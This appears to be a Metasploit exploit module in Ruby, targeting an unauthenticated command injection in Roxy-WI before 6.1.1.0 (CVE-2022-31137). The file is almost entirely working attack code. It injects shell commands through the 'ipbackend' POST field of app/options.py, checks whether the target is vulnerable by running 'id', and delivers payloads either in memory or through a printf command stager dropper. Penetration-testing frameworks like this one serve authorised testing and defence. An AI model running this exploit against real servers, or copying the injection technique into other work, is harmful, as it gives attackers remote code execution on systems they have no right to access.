Grant Willcox
122 lines
3.9 KiB
Ruby
122 lines
3.9 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::CmdStager
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prepend Msf::Exploit::Remote::AutoCheck
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Roxy-WI Prior to 6.1.1.0 Unauthenticated Command Injection RCE',
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'Description' => %q{
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This module exploits an unauthenticated command injection vulnerability in Roxy-WI
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prior to version 6.1.1.0. Successful exploitation results in remote code execution
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under the context of the web server user.
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Roxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'Nuri Çilengir <nuri[at]prodaft.com>', # Author & Metasploit module
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],
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'References' => [
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['URL', 'https://pentest.blog/advisory-roxywi-unauthenticated-remote-code-execution-cve-2022-3113/'], # Advisory
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['URL', 'https://github.com/hap-wi/roxy-wi/security/advisories/GHSA-53r2-mq99-f532'], # Additional Information
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['URL', 'https://github.com/hap-wi/roxy-wi/commit/82666df1e60c45dd6aa533b01a392f015d32f755'], # Patch
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['CVE', '2022-31137']
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],
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'DefaultOptions' => {
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'SSL' => true,
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'WfsDelay' => 25
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},
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'Platform' => %w[unix linux],
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'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
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'Targets' => [
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[
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'Unix (In-Memory)',
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{
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Type' => :in_memory
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}
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],
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[
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'Linux (Dropper)',
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{
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'Platform' => 'linux',
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'Arch' => [ARCH_X86, ARCH_X64],
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'Type' => :dropper
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}
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]
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],
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'CmdStagerFlavor' => ['printf'],
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'DefaultTarget' => 0,
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'Privileged' => false,
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'DisclosureDate' => '2022-07-06',
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'Reliability' => [REPEATABLE_SESSION],
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'SideEffects' => [IOC_IN_LOGS]
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}
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)
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)
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register_options(
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[
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Opt::RPORT(443),
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OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
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]
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)
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end
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def execute_command(cmd, _opts = {})
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return send_request_cgi(
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{
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, 'app', 'options.py'),
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'vars_post' => {
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'serv' => '127.0.0.1',
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'ipbackend' => "\"; #{cmd} ;#",
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'alert_consumer' => Rex::Text.rand_text_alpha_lower(7),
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'backend_server' => '127.0.0.1'
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}
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}, 10
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)
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rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Errno::ETIMEDOUT
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return nil
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end
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def check
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print_status("Checking if #{peer} is vulnerable!")
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res = execute_command('id')
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return CheckCode::Unknown("Didn't receive a response from #{peer}") unless res
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if res.code == 200 && res.body =~ /uid=\d+\(.+\)/
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print_status("#{peer} is vulnerable!")
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return CheckCode::Vulnerable('The device responded to exploitation with a 200 OK and test command successfully executed.')
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elsif res.code == 200
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return CheckCode::Unknown('The target did respond 200 OK response however it did not contain the expected payload.')
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else
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return CheckCode::Safe("The #{peer} did not respond a 200 OK response and the expected response, meaning its not vulnerable.")
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end
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end
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def exploit
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print_status('Exploiting...')
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case target['Type']
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when :in_memory
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execute_command(payload.encoded)
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when :dropper
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execute_cmdstager
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end
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end
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end
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